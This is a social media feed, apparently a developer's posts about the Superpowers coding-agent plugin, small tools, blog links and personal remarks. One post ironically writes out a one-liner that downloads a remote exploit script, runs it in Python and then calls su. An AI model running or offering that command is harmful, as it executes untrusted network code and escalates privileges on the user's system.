My MacBook Pro's escape key had gotten sticky and unreliable. I successfully removed the keycap, cleaned the cavity and scissor mechanism, AND reassembled the key without breaking anything. The key even works right again. Please clap.

@buttplug.engineer seems relevant to your interests, although I assume this is...fanfic.

A short post about my favorite adversarial review prompt: blog.fsck.com/2026/05/01/a...

I wrote about the time I caught Claude trying to delete all of my tests (and how I fixed it) blog.fsck.com/2026/04/30/t...

Ordinarily, the security advice is "don't pipe curl to sh, because it might have an exploit in it" (That advice stands. Always check the payload) curl copy.fail/exp | python3 && su

So here's the pitch: It's Eternal September, but for Patch Tuesday.

On the upside, tons of embedded devices just got liberated?

We just published a couple of the projects I've been working on this spring. primeradiant.com/blog/2026/gr... Greenfield is a set of tools to extract behavioral specs from existing codebases. Iterative Development is a set of add-ons to Superpowers to tackle implementations of much larger specs.

Had a great chat with @miyagawa.co last night. It had been ages since we last caught up properly.

Was that a little earthquake in the east bay just now?

I built a little tool to extract your Kindle notes and highlights in a format your agents can read: primeradiant.com/blog/2026/hi...

I'm pleased to announce that Superpowers is now available as a plugin in OpenAI Codex! We even got a cameo in their launch video. openai.com/index/codex-...

I wrote a bit about the difference between rules and gates in prompting - blog.fsck.com/2026/04/07/r...

For anyone using Claude Code, I cannot recommend the Superpowers plugin by @s.ly enough. I've been raving about it to enough people that I just wrote up my thoughts as a quick blog post emschwartz.me/a-rave-revie...

Superpowers 5.0.7 is out now. The exciting new thing here: Native support for GitHub Copilot CLI. blog.fsck.com/releases/202...

What's My JND? 0.0098 Can you beat it? www.keithcirkel.co.uk/whats-my-jnd...

Superpowers 5.0.2 is out now - It should fix Codex's use of subagents and it replaces the Brainstorming server with a zero-deps node script, rather than bundling a bunch of node modules. blog.fsck.com/releases/202...

Superpowers 5.0.1 is out now. Claude wrote up the details: blog.fsck.com/releases/202... The headline item is (finally) full Gemini CLI support. Also, a bunch of improvements and bug fixes.

Superpowers 5 is out today: blog.fsck.com/2026/03/09/s... There are a bunch of improvements inside, but my favorite new feature is the new 'visual brainstorming' workflow that uses your browser to help talk through anything where ASCII art might not be high enough fidelity.

I plopped down $20 for Claude Code and installed the Superpowers plugin from my old friend @s.ly. I fed it the PDF with the MIDI spec and told it what I wanted. Superpowers asked me a few questions about implementation and it wrote a product spec.

I'm spending a ton of time making software these days, but I'm never working with source code. It seems like my entire workflow is Markdown files. I'm pleased to debut Clearance, Prime Radiant's new dedicated "Markdown browser."

I'm really bad at watching YouTube videos, but multiple people have told me that this intro to Superpowers is pretty good. youtu.be/romGzY0Xu0s?...

primeradiant.com/blog/2026/wh... First post on the new corporate blog. Also, a new engineering notebook tool I knocked together over the weekend to help you comprehend what you've been working on with your coding agents.

Holy shit, the supreme court ruled that the tariffs are unconstitutional.

I needed a way to print out iMessage chats with full metadata. I couldn't find an easy option that didn't appear to be a subscription trap. (Hitting Cmd-P in Messages doesn't include all the metadata.) This evening, Claude and I made a quick, free app, iMessagePrinter. github.com/obra/iMessag...

When Apple’s notoriously buggy Apple Intelligence notifications tell me that TMBG has a new track called “Wu Tang” …and it’s actually pretty good.

I gave my agents a place to blog about the software they're writing for me because I'm so far behind on writing about that software. I blogged about that and about the several pieces of software I wrote today to find a particular Something Positive strip from 2002. blog.fsck.com/2026/02/12/l...

I was inspired by @s.ly 's recent piece on Latent Space Engineering. I wanted to see if his observations also applied to the security domain. What started as small experiment turned into a full blown agentic AI benchmark that I'm releasing as OSS at 1Password. 1password.github.io/SCAM/

campedersen.com/singularity I can't believe we spent all that time and effort fixing time_t.

I'm pleased to announce Moltipass, an iOS client for human users of Moltbook. blog.fsck.com/2026/01/30/m...

Was that a little earthquake in the east bay or was that a truck on my street?

Hey folks, while I'm happy to talk about the weird token thing some people are into (and that I'm not into), I won't be engaging with any more anonymous throwaway accounts trying to convince me it's a good thing. That's now instablock territory.

Some grifter created an ICO using my name and Superpowers name without my consent. They claim that they're giving me a royalty. I have *nothing* to do with that and I'd bet that it's a scam. (Please do not link to it. I don't want to give them exposure.)

I can't believe we need to rehash "No Blood For Oil"

Over the holiday, I put together a new window switcher for macOS. It's called Winby. And its special ability is to let you switch to a window based on any text in the window. Press the hotkey, type some text that's in the window, and hit return. Totally free. obra.github.io/winby

That was one heck of a Christmas present.

Kiddo got a bonsaikitten toy for the holidays. #nostalgia

Fun game. And a seemingly positive use of AI

My robot buddy reverse engineered my favorite discontinued Android word game and ported it to iOS in a couple of hours. After I got the original author's blessing to publish it, Apple's App Store reviewers accepted it on the first submission. blog.fsck.com/2025/12/20/w...

I'm happy to announce the release of Superpowers 4. The coolest new thing in this release is an additional "spec compliance review" agent that runs separately from the existing code review agents. blog.fsck.com/2025/12/18/s...

20/20. But also, "Mixed Tape"‽ Cue me sobbing in GenX

Gonna be set for Egg Creams for a while.
